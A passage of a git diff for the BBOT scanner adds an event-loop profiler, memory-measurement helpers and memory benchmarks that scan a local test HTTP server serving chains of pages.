+        emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event, module=dummy_module)
 
     bbot_events.all = [  # noqa: F841
         bbot_events.localhost,
@@ -209,9 +255,7 @@ class bbot_events:
         bbot_events.ipv4_url,
         bbot_events.ipv6_url,
         bbot_events.url_hint,
-        bbot_events.vulnerability,
         bbot_events.finding,
-        bbot_events.vhost,
         bbot_events.http_response,
         bbot_events.storage_bucket,
         bbot_events.emoji,
diff --git a/bbot/test/benchmarks/_eventloop_profiler.py b/bbot/test/benchmarks/_eventloop_profiler.py
new file mode 100644
index 0000000000..65afae5501
--- /dev/null
+++ b/bbot/test/benchmarks/_eventloop_profiler.py
@@ -0,0 +1,364 @@
+#!/usr/bin/env python3
+"""
+Event-loop saturation diagnostic — wraps a full BBOT scan to measure:
+
+  1. Which tasks/coroutines hold the loop the longest (blocking detection)
+  2. How many tasks are pending at any given time
+  3. Per-module breakdown of loop time consumption
+
+This is a diagnostic utility, not a pytest-benchmark test. The leading
+underscore tells pytest not to collect it; run it directly:
+
+    uv run python bbot/test/benchmarks/_eventloop_profiler.py -y -p spider -f subdomain-enum -t example.com
+
+Output lands under `./eventloop_profile/<timestamp>/`:
+
+  - eventloop_report.txt — top coroutines by total/max loop time, slow-step log, task timeline
+  - slow_steps.csv       — every callback longer than SLOW_CALLBACK_THRESHOLD
+  - task_timeline.csv    — concurrent task count sampled every REPORT_INTERVAL seconds
+"""
+
+import asyncio
+import atexit
+import collections
+import signal
+import sys
+import time
+import threading
+from datetime import datetime
+from pathlib import Path
+
+# ── Configuration ───────────────────────────────────────────────────────────
+SLOW_CALLBACK_THRESHOLD = 0.05  # 50ms - flag callbacks slower than this
+REPORT_INTERVAL = 15  # seconds between periodic reports
+OUTPUT_DIR = Path("./eventloop_profile")
+
+
+class EventLoopProfiler:
+    """Instruments asyncio tasks to measure per-coroutine loop time consumption."""
+
+    def __init__(self, loop, output_dir):
+        self.loop = loop
+        self.output_dir = output_dir
+        self.output_dir.mkdir(parents=True, exist_ok=True)
+
+        # Per-coroutine stats: qualname -> {total_time, count, max_time}
+        self.coro_times = collections.defaultdict(lambda: {"total_time": 0.0, "count": 0, "max_time": 0.0})
+        # Slow step log: (elapsed, duration, coro_name)
+        self.slow_steps = []
+        # Task count timeline: (elapsed, num_tasks)
+        self.task_counts = []
+        # Task detail timeline: (elapsed, {coro_name: count})
+        self.task_detail_timeline = []
+
+        self.start_time = time.monotonic()
+        self.total_steps = 0
+        self.total_step_time = 0.0
+
+        self._lock = threading.Lock()
+
+    def _get_task_coro_name(self, task):
+        """Get a meaningful name for a task's coroutine."""
+        coro = task.get_coro()
+        if coro is None:
+            return task.get_name()
+        qualname = getattr(coro, "__qualname__", None)
+        if qualname:
+            # Try to get the module name from cr_frame
+            frame = getattr(coro, "cr_frame", None)
+            if frame:
+                filename = frame.f_code.co_filename
+                # Extract just the relevant part of the path
+                if "bbot/" in filename:
+                    short_path = filename[filename.index("bbot/") :]
+                    return f"{short_path}:{qualname}"
+            return qualname
+        return task.get_name()
+
+    def install(self):
+        """Patch the loop's create_task and Handle._run to time coroutine steps."""
+        profiler = self
+
+        # Map task id -> coroutine name (set at creation time)
+        self._task_names = {}
+
+        # Patch loop.create_task to record coroutine names
+        original_create_task = self.loop.create_task
+
+        def patched_create_task(coro, *, name=None, context=None):
+            if context is not None:
+                task = original_create_task(coro, name=name, context=context)
+            else:
+                task = original_create_task(coro, name=name)
+            coro_name = profiler._get_task_coro_name(task)
+            profiler._task_names[id(task)] = coro_name
+            # Clean up when task is done
+            task.add_done_callback(lambda t: profiler._task_names.pop(id(t), None))
+            return task
+
+        self.loop.create_task = patched_create_task
+
+        # Also patch asyncio.ensure_future / create_task at module level
+        _original_ensure_future = asyncio.ensure_future
+
+        def patched_ensure_future(coro_or_future, *, loop=None):
+            result = _original_ensure_future(coro_or_future, loop=loop)
+            if isinstance(result, asyncio.Task):
+                coro_name = profiler._get_task_coro_name(result)
+                profiler._task_names[id(result)] = coro_name
+                result.add_done_callback(lambda t: profiler._task_names.pop(id(t), None))
+            return result
+
+        asyncio.ensure_future = patched_ensure_future
+
+        # Patch Handle._run to time callbacks, resolving task names from our map
+        original_handle_run = asyncio.Handle._run
+
+        def profiled_handle_run(handle):
+            # Try to identify which task this handle belongs to
+            cb = getattr(handle, "_callback", None)
+            cb_name = None
+
+            # TaskStepMethWrapper has a __self__ that is the Task
+            task_self = getattr(cb, "__self__", None)
+            if task_self is not None and isinstance(task_self, asyncio.Task):
+                cb_name = profiler._task_names.get(id(task_self))
+                if cb_name is None:
+                    cb_name = profiler._get_task_coro_name(task_self)
+
+            if cb_name is None:
+                cb_name = getattr(cb, "__qualname__", None) or getattr(cb, "__name__", None) or str(cb)
+
+            start = time.monotonic()
+            original_handle_run(handle)
+            duration = time.monotonic() - start
+
+            with profiler._lock:
+                profiler.total_steps += 1
+                profiler.total_step_time += duration
+
+                stats = profiler.coro_times[cb_name]
+                stats["total_time"] += duration
+                stats["count"] += 1
+                if duration > stats["max_time"]:
+                    stats["max_time"] = duration
+
+                if duration > SLOW_CALLBACK_THRESHOLD:
+                    elapsed = time.monotonic() - profiler.start_time
+                    profiler.slow_steps.append((elapsed, duration, cb_name))
+
+        asyncio.Handle._run = profiled_handle_run
+
+        print(f"[eventloop-profiler] Installed. Slow threshold: {SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms")
+        print(f"[eventloop-profiler] Output dir: {self.output_dir}")
+
+    def sample_tasks(self):
+        """Sample the current task breakdown."""
+        try:
+            tasks = asyncio.all_tasks(self.loop)
+            elapsed = time.monotonic() - self.start_time
+            self.task_counts.append((elapsed, len(tasks)))
+
+            # Group by coroutine name
+            task_names = collections.Counter()
+            for task in tasks:
+                name = self._get_task_coro_name(task)
+                # Simplify: extract just the class.method or module
+                parts = name.split(":")
+                if len(parts) > 1:
+                    short = parts[-1]  # qualname
+                else:
+                    short = name
+                task_names[short] += 1
+
+            self.task_detail_timeline.append((elapsed, dict(task_names)))
+            return len(tasks), task_names
+        except Exception:
+            return 0, collections.Counter()
+
+    def write_report(self):
+        """Write the final profiling report."""
+        elapsed = time.monotonic() - self.start_time
+
+        with self._lock:
+            coro_times = dict(self.coro_times)
+            slow_steps = list(self.slow_steps)
+
+        lines = []
+        lines.append("Event Loop Profiling Report")
+        lines.append("=" * 80)
+        lines.append(f"Duration: {elapsed:.1f}s ({elapsed / 60:.1f}m)")
+        lines.append(f"Total task steps: {self.total_steps:,}")
+        lines.append(f"Total step time: {self.total_step_time:.1f}s")
+        lines.append(f"Avg step time: {self.total_step_time / max(self.total_steps, 1) * 1000:.3f}ms")
+        lines.append(f"Slow steps (>{SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms): {len(slow_steps)}")
+        lines.append("")
+
+        # ── Top coroutines by total time ────────────────────────
+        lines.append("TOP 40 COROUTINES BY TOTAL EVENT LOOP TIME")
+        lines.append("-" * 80)
+        lines.append(f"{'Total(s)':>10s} {'Steps':>8s} {'Avg(ms)':>10s} {'Max(ms)':>10s} {'%loop':>7s}  Coroutine")
+        sorted_coros = sorted(coro_times.items(), key=lambda x: x[1]["total_time"], reverse=True)
+        for name, stats in sorted_coros[:40]:
+            pct = (stats["total_time"] / max(self.total_step_time, 0.001)) * 100
+            avg_ms = (stats["total_time"] / max(stats["count"], 1)) * 1000
+            lines.append(
+                f"{stats['total_time']:>10.2f} {stats['count']:>8d} {avg_ms:>10.3f} {stats['max_time'] * 1000:>10.1f} {pct:>6.1f}%  {name}"
+            )
+        lines.append("")
+
+        # ── Top coroutines by max single step ───────────────────
+        lines.append("TOP 20 COROUTINES BY MAX SINGLE STEP TIME (blocking suspects)")
+        lines.append("-" * 80)
+        lines.append(f"{'Max(ms)':>10s} {'Steps':>8s} {'Total(s)':>10s}  Coroutine")
+        sorted_max = sorted(coro_times.items(), key=lambda x: x[1]["max_time"], reverse=True)
+        for name, stats in sorted_max[:20]:
+            lines.append(
+                f"{stats['max_time'] * 1000:>10.1f} {stats['count']:>8d} {stats['total_time']:>10.2f}  {name}"
+            )
+        lines.append("")
+
+        # ── Slow step log ───────────────────────────────────────
+        lines.append(f"SLOW STEP LOG (>{SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms, last 200)")
+        lines.append("-" * 80)
+        for elapsed_t, duration, name in slow_steps[-200:]:
+            lines.append(f"  t={elapsed_t:>8.1f}s  {duration * 1000:>8.1f}ms  {name}")
+        lines.append("")
+
+        # ── Task count timeline ─────────────────────────────────
+        if self.task_counts:
+            lines.append("TASK COUNT TIMELINE (sampled every 15s)")
+            lines.append("-" * 80)
+            peak_tasks = max(tc[1] for tc in self.task_counts)
+            lines.append(f"Peak concurrent tasks: {peak_tasks}")
+            for elapsed_t, count in self.task_counts:
+                bar = "#" * min(count, 60)
+                lines.append(f"  t={elapsed_t:>8.1f}s  tasks={count:>4d}  {bar}")
+        lines.append("")
+
+        # ── Task breakdown at peak ──────────────────────────────
+        if self.task_detail_timeline:
+            # Find the sample with the most tasks
+            peak_sample = max(self.task_detail_timeline, key=lambda x: sum(x[1].values()))
+            elapsed_t, detail = peak_sample
+            lines.append(f"TASK BREAKDOWN AT PEAK (t={elapsed_t:.1f}s, {sum(detail.values())} tasks)")
+            lines.append("-" * 80)
+            for name, count in sorted(detail.items(), key=lambda x: -x[1])[:30]:
+                bar = "#" * min(count, 40)
+                lines.append(f"  {count:>4d}  {bar}  {name}")
+        lines.append("")
+
+        report = "\n".join(lines)
+
+        report_path = self.output_dir / "eventloop_report.txt"
+        with open(report_path, "w") as f:
+            f.write(report)
+
+        # Write slow steps as CSV
+        csv_path = self.output_dir / "slow_steps.csv"
+        with open(csv_path, "w") as f:
+            f.write("elapsed_s,duration_ms,coroutine\n")
+            for elapsed_t, duration, name in slow_steps:
+                safe_name = name.replace(",", ";")
+                f.write(f"{elapsed_t:.1f},{duration * 1000:.1f},{safe_name}\n")
+
+        # Write task timeline as CSV
+        task_csv = self.output_dir / "task_timeline.csv"
+        with open(task_csv, "w") as f:
+            f.write("elapsed_s,num_tasks\n")
+            for elapsed_t, count in self.task_counts:
+                f.write(f"{elapsed_t:.1f},{count}\n")
+
+        print(f"\n[eventloop-profiler] Report written to {report_path}")
+        # Print the full report to stdout
+        print(report)
+
+        return report_path
+
+
+async def periodic_sampler(profiler, stop_event):
+    """Periodically sample task counts and print status."""
+    while not stop_event.is_set():
+        num_tasks, task_names = profiler.sample_tasks()
+
+        top = task_names.most_common(6)
+        top_str = ", ".join(f"{name.split('.')[-1]}={count}" for name, count in top)
+        elapsed = time.monotonic() - profiler.start_time
+        slow_count = len(profiler.slow_steps)
+        print(f"[profiler t={elapsed:.0f}s] tasks={num_tasks} slow_steps={slow_count} | {top_str}")
+
+        try:
+            await asyncio.wait_for(stop_event.wait(), timeout=REPORT_INTERVAL)
+        except asyncio.TimeoutError:
+            pass
+
+
+async def run_scan(bbot_args, profiler):
+    from bbot.scanner import Scanner
+    from bbot.scanner.preset import Preset
+
+    sys.argv = ["bbot"] + list(bbot_args)
+    preset = Preset(_log=True, name="eventloop_profile")
+    preset.parse_args()
+    baked_preset = preset.bake()
+    scanner = Scanner(preset=baked_preset)
+
+    stop_event = asyncio.Event()
+    sampler = asyncio.create_task(periodic_sampler(profiler, stop_event))
+
+    try:
+        await scanner.async_start_without_generator()
+    except KeyboardInterrupt:
+        print("\n[profiler] Interrupted")
+    except Exception as e:
+        print(f"\n[profiler] Scan error: {e}")
+        import traceback
+
+        traceback.print_exc()
+    finally:
+        stop_event.set()
+        await sampler
+
+
+def main():
+    bbot_args = sys.argv[1:]
+    if not bbot_args:
+        print("Usage: python bbot/test/benchmarks/_eventloop_profiler.py [bbot args...]")
+        print(
+            "Example: python bbot/test/benchmarks/_eventloop_profiler.py -y -p spider -f subdomain-enum -t example.com"
+        )
+        sys.exit(1)
+
+    ts = datetime.now().strftime("%Y%m%d_%H%M%S")
+    output_dir = OUTPUT_DIR / ts
+    output_dir.mkdir(parents=True, exist_ok=True)
+
+    print("Event Loop Saturation Diagnostic")
+    print(f"Slow callback threshold: {SLOW_CALLBACK_THRESHOLD * 1000:.0f}ms")
+    print(f"Output: {output_dir}")
+    print()
+
+    loop = asyncio.new_event_loop()
+    asyncio.set_event_loop(loop)
+
+    profiler = EventLoopProfiler(loop, output_dir)
+    profiler.install()
+
+    def write_on_exit(*args):
+        profiler.write_report()
+        sys.exit(0)
+
+    signal.signal(signal.SIGINT, write_on_exit)
+    signal.signal(signal.SIGTERM, write_on_exit)
+    atexit.register(profiler.write_report)
+
+    try:
+        loop.run_until_complete(run_scan(bbot_args, profiler))
+    except (KeyboardInterrupt, SystemExit):
+        pass
+    finally:
+        profiler.write_report()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/bbot/test/benchmarks/_memory_helpers.py b/bbot/test/benchmarks/_memory_helpers.py
new file mode 100644
index 0000000000..36d87b09c0
--- /dev/null
+++ b/bbot/test/benchmarks/_memory_helpers.py
@@ -0,0 +1,345 @@
+"""
+Shared memory measurement helpers for scan benchmarks.
+
+Each helper is independent — pick the ones you need. Designed to be used
+from subprocess scan scripts (so tracemalloc + psutil polling are not
+contaminated by pytest's own allocations).
+
+Three measurement angles, each answering a different question:
+
+  - ``RSSSampler``: actual OS-level RAM (catches Rust / lxml / yara that
+    tracemalloc misses). Headline metrics: peak, end, retention (median
+    over the last 25% of samples — the metric most sensitive to
+    "stuck for the rest of the scan" pathology).
+
+  - ``event_census``: who is alive right now, grouped by event type, with
+    HTTP_RESPONSE body bytes broken out separately. Answers
+    "where is the memory going?".
+
+  - ``lineage_census``: walk every live event's parent chain back to the
+    seed and bucket pinned events by seed. Answers "is the chain
+    holding things alive?".
+"""
+
+import gc
+import json
+import threading
+import time
+import weakref
+
+import psutil
+
+
+class RSSSampler:
+    """
+    Background thread that polls process RSS at a fixed interval.
+
+    Usage::
+
+        sampler = RSSSampler(interval_s=0.2)
+        sampler.start()
+        # ... do work ...
+        sampler.stop()
+        m = sampler.metrics()  # peak_rss_mb, end_rss_mb, retention_rss_mb
+    """
+
+    def __init__(self, interval_s=0.2):
+        self.interval_s = interval_s
+        self.samples = []  # list of (t, rss_mb)
+        self._stop = threading.Event()
+        self._thread = None
+        self._proc = psutil.Process()
+
+    def start(self):
+        self._thread = threading.Thread(target=self._loop, daemon=True)
+        self._thread.start()
+
+    def _loop(self):
+        t0 = time.monotonic()
+        while not self._stop.is_set():
+            rss_mb = self._proc.memory_info().rss / 1024 / 1024
+            self.samples.append((time.monotonic() - t0, rss_mb))
+            self._stop.wait(self.interval_s)
+
+    def stop(self):
+        self._stop.set()
+        if self._thread is not None:
+            self._thread.join(timeout=1.0)
+
+    def metrics(self):
+        if not self.samples:
+            return {
+                "peak_rss_mb": 0.0,
+                "end_rss_mb": 0.0,
+                "retention_rss_mb": 0.0,
+                "samples": 0,
+                "duration_s": 0.0,
+            }
+        rss_values = [r for _, r in self.samples]
+        peak_rss_mb = max(rss_values)
+        end_rss_mb = rss_values[-1]
+        # median over the last 25% of samples — robust to a single
+        # transient spike at the tail and sensitive to baseline drift.
+        last_quartile_start = max(1, int(len(rss_values) * 0.75))
+        last_quartile = sorted(rss_values[last_quartile_start:])
+        retention_rss_mb = last_quartile[len(last_quartile) // 2]
+        duration_s = self.samples[-1][0]
+        return {
+            "peak_rss_mb": round(peak_rss_mb, 2),
+            "end_rss_mb": round(end_rss_mb, 2),
+            "retention_rss_mb": round(retention_rss_mb, 2),
+            "samples": len(self.samples),
+            "duration_s": round(duration_s, 2),
+        }
+
+
+class LiveEventTracker:
+    """
+    Mid-scan event census via weakref, without scanning the full Python
+    object graph.
+
+    ``event_census()`` calls ``gc.get_objects()`` and walks every Python
+    object — fine at scan-end (one-shot), too expensive to call every
+    few hundred events. ``LiveEventTracker`` patches
+    ``BaseEvent.__init__`` to register newcomers into a ``WeakSet``, so
+    ``census()`` is O(live events) instead of O(every Python object).
+
+    Usage::
+
+        tracker = LiveEventTracker()
+        tracker.install()
+        # ... run scan, calling tracker.census() periodically ...
+        tracker.uninstall()  # optional; not needed if the process exits
+    """
+
+    def __init__(self):
+        self._events = weakref.WeakSet()
+        self._original_init = None
+        self._patched = False
+
+    def install(self):
+        if self._patched:
+            return
+        from bbot.core.event.base import BaseEvent
+
+        # Seed with any events that already exist (e.g. SCAN root_event
+        # created before install).
+        for obj in gc.get_objects():
+            if isinstance(obj, BaseEvent):
+                self._events.add(obj)
+
+        original_init = BaseEvent.__init__
+        events_ref = self._events
+
+        def patched_init(self_evt, *a, **kw):
+            original_init(self_evt, *a, **kw)
+            try:
+                events_ref.add(self_evt)
+            except TypeError:
+                # Not weakref-able for some reason; skip silently.
+                pass
+
+        self._original_init = original_init
+        BaseEvent.__init__ = patched_init
+        self._patched = True
+
+    def uninstall(self):
+        if not self._patched:
+            return
+        from bbot.core.event.base import BaseEvent
+
+        BaseEvent.__init__ = self._original_init
+        self._patched = False
+
+    def census(self):
+        """O(live events) census. Same shape as ``event_census()``."""
+        by_type = {}
+        body_bytes = 0
+        body_count = 0
+        for obj in self._events:
+            by_type[obj.type] = by_type.get(obj.type, 0) + 1
+            if obj.type == "HTTP_RESPONSE":
+                data = getattr(obj, "data", None)
+                body = data.get("body") if isinstance(data, dict) else None
+                if body:
+                    body_count += 1
+                    body_bytes += len(body)
+        return {
+            "live_events": sum(by_type.values()),
+            "by_type": by_type,
+            "http_response_body_mb": round(body_bytes / 1024 / 1024, 2),
+            "http_response_with_body": body_count,
+        }
+
+
+def event_census():
+    """
+    Walk live BaseEvent instances and classify by type + HTTP_RESPONSE body bytes.
+
+    Returns a dict::
+
+        {
+          "live_events": int,
+          "by_type": {"DNS_NAME": int, "HTTP_RESPONSE": int, ...},
+          "http_response_body_mb": float,
+          "http_response_with_body": int,
+        }
+    """
+    from bbot.core.event.base import BaseEvent
+
+    gc.collect()
+    by_type = {}
+    body_bytes = 0
+    body_count = 0
+
+    for obj in gc.get_objects():
+        if not isinstance(obj, BaseEvent):
+            continue
+        by_type[obj.type] = by_type.get(obj.type, 0) + 1
+        if obj.type == "HTTP_RESPONSE":
+            data = getattr(obj, "data", None)
+            body = data.get("body") if isinstance(data, dict) else None
+            if body:
+                body_count += 1
+                body_bytes += len(body)
+
+    return {
+        "live_events": sum(by_type.values()),
+        "by_type": by_type,
+        "http_response_body_mb": round(body_bytes / 1024 / 1024, 2),
+        "http_response_with_body": body_count,
+    }
+
+
+def lineage_census(top_n=20):
+    """
+    Walk every live BaseEvent's parent chain back to the seed and bucket
+    pinned events by seed.
+
+    A long-lived seed pinning hundreds of events is the signature of the
+    chain-retention pathology — this is the metric that proves a fix.
+
+    Returns::
+
+        {
+          "seeds": [{"seed": str, "pinned_events": int,
+                     "max_chain_depth": int,
+                     "types_pinned": {type: count, ...}}, ...],  # top N
+          "total_pinned_events": int,
+          "max_chain_depth": int,
+          "live_events_walked": int,
+        }
+    """
+    from bbot.core.event.base import BaseEvent
+
+    gc.collect()
+    seeds = {}
+    max_chain_depth = 0
+    walked = 0
+
+    for obj in gc.get_objects():
+        if not isinstance(obj, BaseEvent):
+            continue
+        walked += 1
+        depth = 0
+        node = obj
+        # Walk up via .parent. Root events are self-parented (node.parent is node).
+        while node is not None and node is not getattr(node, "parent", None):
+            depth += 1
+            parent = getattr(node, "parent", None)
+            if parent is None or parent is node:
+                break
+            node = parent
+        if node is None:
+            continue
+        max_chain_depth = max(max_chain_depth, depth)
+        seed_data = getattr(node, "data", None)
+        seed_data_str = str(seed_data)[:80] if seed_data is not None else "<no-data>"
+        seed_key = f"{node.type}:{seed_data_str}"
+        s = seeds.setdefault(
+            seed_key,
+            {"pinned_events": 0, "max_chain_depth": 0, "types_pinned": {}},
+        )
+        s["pinned_events"] += 1
+        s["max_chain_depth"] = max(s["max_chain_depth"], depth)
+        s["types_pinned"][obj.type] = s["types_pinned"].get(obj.type, 0) + 1
+
+    sorted_seeds = sorted(
+        ({"seed": k, **v} for k, v in seeds.items()),
+        key=lambda x: -x["pinned_events"],
+    )
+    return {
+        "seeds": sorted_seeds[:top_n],
+        "total_pinned_events": sum(v["pinned_events"] for v in seeds.values()),
+        "max_chain_depth": max_chain_depth,
+        "live_events_walked": walked,
+    }
+
+
+def queue_residence(scan, tracker):
+    """
+    Classify live events by where they currently live in the scan
+    pipeline.
+
+    Two angles, since they answer different questions:
+
+      - Per-module queue depth (``by_queue``): which module is the
+        current bottleneck — events are piling up where queue depth is
+        large.
+      - In-pipeline vs. chain-only (``in_pipeline`` / ``chain_only``):
+        of the live events, how many are still being processed by some
+        module (``event._module_consumers > 0``) vs. how many are
+        held alive *only* by the parent chain. The chain_only count is
+        the chain-retention pathology made directly visible.
+
+    Returns::
+
+        {
+          "in_pipeline": int,    # _module_consumers > 0
+          "chain_only": int,     # _module_consumers == 0
+          "queue_total": int,    # sum of all module queue depths
+          "by_queue": {module_name: {"incoming": int, "outgoing": int}, ...},
+        }
+    """
+    by_queue = {}
+    for module in scan.modules.values():
+        m_name = getattr(module, "name", str(module))
+        in_q = getattr(module, "_incoming_event_queue", None)
+        out_q = getattr(module, "_outgoing_event_queue", None)
+        in_count = 0
+        out_count = 0
+        # asyncio.Queue / ShuffleQueue both expose the underlying ``_queue`` deque.
+        if in_q and in_q is not False and hasattr(in_q, "_queue"):
+            in_count = len(in_q._queue)
+        if out_q and hasattr(out_q, "_queue"):
+            out_count = len(out_q._queue)
+        if in_count or out_count:
+            by_queue[m_name] = {"incoming": in_count, "outgoing": out_count}
+
+    in_pipeline = 0
+    chain_only = 0
+    # Iterate the WeakSet directly — O(live events).
+    for ev in tracker._events:
+        if getattr(ev, "_module_consumers", 0) > 0:
+            in_pipeline += 1
+        else:
+            chain_only += 1
+
+    return {
+        "in_pipeline": in_pipeline,
+        "chain_only": chain_only,
+        "queue_total": sum(d["incoming"] + d["outgoing"] for d in by_queue.values()),
+        "by_queue": by_queue,
+    }
+
+
+def emit_metrics_json(**metrics):
+    """
+    Print a single ``METRICS_JSON:`` line that ``test_scan_memory.py`` parses.
+
+    Backward-compat: also prints the legacy ``PEAK_MB:`` line when
+    ``peak_tracemalloc_mb`` is supplied, so any external readers still work.
+    """
+    print(f"METRICS_JSON:{json.dumps(metrics)}")
+    if "peak_tracemalloc_mb" in metrics:
+        print(f"PEAK_MB:{metrics['peak_tracemalloc_mb']}")
diff --git a/bbot/test/benchmarks/_scan_memory_deep_chain.py b/bbot/test/benchmarks/_scan_memory_deep_chain.py
new file mode 100644
index 0000000000..0eaa01aee2
--- /dev/null
+++ b/bbot/test/benchmarks/_scan_memory_deep_chain.py
@@ -0,0 +1,150 @@
+"""
+Subprocess script for the deep-chain memory benchmark.
+
+Spawns a local HTTP server that serves a strict linear chain — page N
+links only to page N+1, no siblings — and runs a BBOT scan that follows
+the entire chain. The discovery pipeline produces a deep parent lineage
+(each hop adds URL → HTTP_RESPONSE → URL_UNVERIFIED → URL → … to the
+chain), exposing chain-retention pathology that the wide-and-shallow
+``_scan_memory_web_crawl.py`` workload masks.
+
+Invoked by test_scan_memory.py — not meant to be run directly.
+"""
+
+import gc
+import sys
+import asyncio
+import threading
+import tracemalloc
+import importlib.util
+from http.server import HTTPServer, BaseHTTPRequestHandler
+
+import psutil
+
+from bbot.scanner import Scanner
+from bbot.test.benchmarks._memory_helpers import (
+    LiveEventTracker,
+    RSSSampler,
+    event_census,
+    lineage_census,
+    queue_residence,
+    emit_metrics_json,
+)
+
+CHAIN_LENGTH = int(sys.argv[1])
+BODY_SIZE = int(sys.argv[2])
+CHECKPOINT_EVERY = 25  # mid-scan census cadence (events seen)
+
+HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http"
+
+
+class H(BaseHTTPRequestHandler):
+    def do_GET(self):
+        path = self.path.rstrip("/")
+        if path in ("", "/"):
+            i = 0
+        elif path.startswith("/page"):
+            try:
+                i = int(path[len("/page") :])
+            except ValueError:
+                self.send_response(404)
+                self.end_headers()
+                return
+        else:
+            self.send_response(404)
+            self.end_headers()
+            return
+
+        # Strict chain: page i links only to page i+1; the last page has no link.
+        if i + 1 < CHAIN_LENGTH:
+            link = f'<a href="/page{i + 1}">next</a>'
+        else:
+            link = ""
+        body = f"<html><body><h1>Page {i}</h1>{link}{'A' * BODY_SIZE}</body></html>"
+
+        self.send_response(200)
+        self.send_header("Content-Type", "text/html")
+        self.end_headers()
+        self.wfile.write(body.encode())
+
+    def log_message(self, *a):
+        pass
+
+
+server = HTTPServer(("127.0.0.1", 0), H)
+port = server.server_address[1]
+threading.Thread(target=server.serve_forever, daemon=True).start()
+
+# spider_distance/depth must exceed chain length so the spider follows
+# the full chain. spider_links_per_page=1 matches the server (one link).
+scan = Scanner(
+    f"http://127.0.0.1:{port}/",
+    modules=[HTTP_MODULE],
+    exclude_output_modules=["csv", "json", "txt"],
+    config={
+        "dns": {"minimal": True},
+        "scope": {"search_distance": 0},
+        "web": {
+            "spider_distance": CHAIN_LENGTH + 5,
+            "spider_depth": CHAIN_LENGTH + 5,
+            "spider_links_per_page": 2,
+        },
+        "speculate": True,
+        "excavate": True,
+        "aggregate": False,
+        "cloudcheck": False,
+    },
+    force_start=True,
+)
+
+
+async def run():
+    await scan._prep()
+    gc.collect()
+    if tracemalloc.is_tracing():
+        tracemalloc.stop()
+
+    tracker = LiveEventTracker()
+    tracker.install()
+    sampler = RSSSampler(interval_s=0.2)
+    sampler.start()
+    tracemalloc.start()
+
+    # Count emitted events without holding strong refs. Holding them in a
+    # list would inflate live-event counts artificially — production
+    # callers iterate and discard.
+    events_seen = 0
+    checkpoints = []
+    proc = psutil.Process()
+    async for event in scan.async_start():
+        del event
+        events_seen += 1
+        if events_seen % CHECKPOINT_EVERY == 0:
+            checkpoints.append(
+                {
+                    "events_seen": events_seen,
+                    "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2),
+                    **tracker.census(),
+                    "residence": queue_residence(scan, tracker),
+                }
+            )
+
+    sampler.stop()
+    _, peak = tracemalloc.get_traced_memory()
+    tracemalloc.stop()
+
+    emit_metrics_json(
+        peak_tracemalloc_mb=round(peak / 1024 / 1024, 2),
+        chain_length=CHAIN_LENGTH,
+        body_size=BODY_SIZE,
+        events_collected=events_seen,
+        rss=sampler.metrics(),
+        census=event_census(),
+        lineage=lineage_census(),
+        end_residence=queue_residence(scan, tracker),
+        checkpoints=checkpoints,
+    )
+
+
+asyncio.run(run())
+server.shutdown()
diff --git a/bbot/test/benchmarks/_scan_memory_parallel_chains.py b/bbot/test/benchmarks/_scan_memory_parallel_chains.py
new file mode 100644
index 0000000000..22494aac8b
--- /dev/null
+++ b/bbot/test/benchmarks/_scan_memory_parallel_chains.py
@@ -0,0 +1,158 @@
+"""
+Subprocess script for the parallel-chains memory benchmark.
+
+Mirrors the real-scale pattern: many independent targets being scanned
+concurrently, each producing its own deep chain. Even when each chain
+is naturally serial in its fetch cadence, the union across hundreds
+of chains is where bodies pile up — the pathology a single-seed
+``_scan_memory_deep_chain.py`` cannot reproduce.
+
+The HTTP server serves a path scheme of ``/seed{S}/page{N}``. Page N
+of seed S links to page N+1 of the same seed (no cross-seed links,
+strict per-seed chain). NUM_SEEDS targets are passed to the scanner
+so the spider runs all chains concurrently.
+
+Invoked by test_scan_memory.py — not meant to be run directly.
+"""
+
+import gc
+import sys
+import asyncio
+import threading
+import tracemalloc
+import importlib.util
+from http.server import HTTPServer, BaseHTTPRequestHandler
+
+import psutil
+
+from bbot.scanner import Scanner
+from bbot.test.benchmarks._memory_helpers import (
+    LiveEventTracker,
+    RSSSampler,
+    event_census,
+    lineage_census,
+    queue_residence,
+    emit_metrics_json,
+)
+
+NUM_SEEDS = int(sys.argv[1])
+CHAIN_LENGTH = int(sys.argv[2])
+BODY_SIZE = int(sys.argv[3])
+CHECKPOINT_EVERY = 500  # mid-scan census cadence (events seen)
+
+HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http"
+
+
+class H(BaseHTTPRequestHandler):
+    def do_GET(self):
+        # Path format: /seed{S}/page{N}
+        parts = self.path.strip("/").split("/")
+        if len(parts) != 2 or not parts[0].startswith("seed") or not parts[1].startswith("page"):
+            self.send_response(404)
+            self.end_headers()
+            return
+        try:
+            seed_idx = int(parts[0][len("seed") :])
+            page_idx = int(parts[1][len("page") :])
+        except ValueError:
+            self.send_response(404)
+            self.end_headers()
+            return
+        if seed_idx >= NUM_SEEDS or page_idx >= CHAIN_LENGTH:
+            self.send_response(404)
+            self.end_headers()
+            return
+
+        # Page N links only to page N+1 within the same seed (no cross-seed links).
+        if page_idx + 1 < CHAIN_LENGTH:
+            link = f'<a href="/seed{seed_idx}/page{page_idx + 1}">next</a>'
+        else:
+            link = ""
+        body = f"<html><body><h1>seed{seed_idx} page{page_idx}</h1>{link}{'A' * BODY_SIZE}</body></html>"
+        self.send_response(200)
+        self.send_header("Content-Type", "text/html")
+        self.end_headers()
+        self.wfile.write(body.encode())
+
+    def log_message(self, *a):
+        pass
+
+
+server = HTTPServer(("127.0.0.1", 0), H)
+port = server.server_address[1]
+threading.Thread(target=server.serve_forever, daemon=True).start()
+
+# NUM_SEEDS independent targets — the spider runs all chains concurrently.
+targets = [f"http://127.0.0.1:{port}/seed{i}/page0" for i in range(NUM_SEEDS)]
+scan = Scanner(
+    *targets,
+    modules=[HTTP_MODULE],
+    exclude_output_modules=["csv", "json", "txt"],
+    config={
+        "dns": {"minimal": True},
+        "scope": {"search_distance": 0},
+        "web": {
+            "spider_distance": CHAIN_LENGTH + 5,
+            "spider_depth": CHAIN_LENGTH + 5,
+            "spider_links_per_page": 2,
+        },
+        "speculate": True,
+        "excavate": True,
+        "aggregate": False,
+        "cloudcheck": False,
